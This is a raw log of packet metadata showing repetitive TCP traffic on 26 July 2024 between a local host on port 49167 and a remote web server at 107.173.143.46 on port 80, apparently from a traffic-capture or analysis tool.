Jul 26, 2024 09:30:09.095974922 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095983028 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.095994949 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.095997095 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.096010923 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.096026897 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.096029997 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.096040010 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.096045971 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.096062899 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.096066952 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.096079111 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.096092939 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.096096039 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.096112967 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.096117973 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.096129894 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.096131086 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.096149921 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.096158981 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.096168041 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.096184015 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.096191883 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.096200943 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.096210957 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.096216917 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.096218109 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.096235037 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.096237898 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.096252918 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.096259117 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.096270084 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.096271992 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.096287012 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.096299887 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.096303940 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.096322060 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.096327066 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.096335888 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.096344948 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.096360922 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.096364021 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.096379995 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.096385956 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.096395969 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.096425056 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.096476078 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.096529007 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.096535921 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.096546888 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.096564054 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.096580982 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.096609116 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.097122908 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.097141027 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.097176075 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.097194910 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.097196102 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.097219944 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.097242117 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.097261906 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.097280979 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.097313881 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.097331047 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.097332001 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.097347975 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.097358942 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.097364902 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.097383022 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.097383976 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.097399950 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.097412109 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.097418070 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.097435951 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.097435951 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.097467899 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.097501040 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.098273039 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.098314047 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.098347902 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.098368883 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.098387003 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.098393917 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.098406076 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.098454952 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.098460913 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.098500967 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.098536015 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.098552942 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.098553896 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.098568916 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.098571062 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.098603964 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.098608017 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.098625898 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.098675966 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.098676920 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.098695993 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.098711967 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.098723888 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.098753929 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.098762989 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.098782063 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.098798037 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.098814964 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.098819017 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.098833084 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.098850012 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.098851919 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.098869085 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.098874092 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.098886013 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.098913908 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.098921061 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.098921061 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.098938942 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.098954916 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.098967075 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.098972082 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.098980904 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.098989010 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.099008083 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.099008083 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.099031925 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.099050999 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.099061966 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.099080086 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.099114895 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.099129915 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.099131107 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.099148035 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.099157095 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.099183083 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.182652950 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.182714939 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.182729006 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.182734013 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.182765007 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.182775974 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.182795048 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.182806969 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.182812929 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.182831049 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.182847023 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.182852983 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.182863951 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.182895899 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.182903051 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.182921886 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.182956934 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.182996988 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183015108 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183039904 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183052063 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183057070 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183074951 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183078051 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183090925 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183093071 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183108091 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183126926 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183137894 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183144093 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183161020 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183168888 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183192015 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183212042 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183234930 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183235884 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183253050 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183278084 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183296919 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183311939 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183329105 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183356047 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183367014 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183392048 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183398008 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183437109 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183449030 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183471918 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183482885 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183489084 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183507919 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183509111 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183526039 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183530092 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183542967 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183545113 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183559895 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183572054 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183577061 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183593988 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183602095 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183610916 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183624029 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183626890 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183645010 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183646917 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183662891 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183674097 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183676004 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183693886 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183706045 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183711052 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183727980 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183736086 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183744907 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183762074 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183765888 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183779001 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183794975 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183796883 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183809042 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183813095 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183821917 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183830023 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183846951 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183849096 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183856964 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183866024 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183882952 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183895111 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183912039 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183913946 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183923960 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183929920 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183948040 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183954000 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.183964014 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183980942 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.183991909 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.184014082 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.184026957 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.184031963 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.184051037 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.184051037 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.184081078 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.184143066 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.184514999 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.184587002 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.184603930 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.184612036 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.184622049 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.184638023 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.184643984 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.184654951 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.184657097 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.184670925 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.184675932 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.184704065 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.184716940 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.184727907 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.184734106 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.184752941 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.184758902 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.184770107 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.184787035 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.184789896 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.184815884 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.184828043 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.184845924 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.184886932 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.184901953 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.184906006 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.184922934 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.184926033 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.184940100 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.184952021 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.184958935 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.184977055 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.184977055 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.185002089 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.185002089 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.185077906 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.185359001 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.185376883 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.185395956 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.185421944 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.185427904 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.185446978 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.185465097 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.185498953 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.185508966 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.185517073 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.185538054 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.185568094 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.185982943 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.186002016 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.186036110 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.186053991 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.186059952 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.186070919 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.186073065 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.186089993 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.186101913 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.186108112 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.186125994 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.186152935 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.186283112 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.186300039 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.186343908 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.186352015 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.186369896 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.186403990 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.186405897 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.186419964 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.186465979 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.186470985 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.186487913 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.186520100 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.186537981 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.186566114 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.186572075 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.186582088 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.186589956 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.186606884 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.186609030 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.186621904 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.186634064 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.186656952 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.269747019 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.269808054 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.269829035 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.269833088 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.269846916 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.269865990 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.269866943 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.269866943 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.269896984 CEST	49167	80	192.168.2.22	107.173.143.46
Jul 26, 2024 09:30:09.269906044 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.269926071 CEST	80	49167	107.173.143.46	192.168.2.22
Jul 26, 2024 09:30:09.269942045 CEST	80	49167	107.173.143.46	192.168.2.22
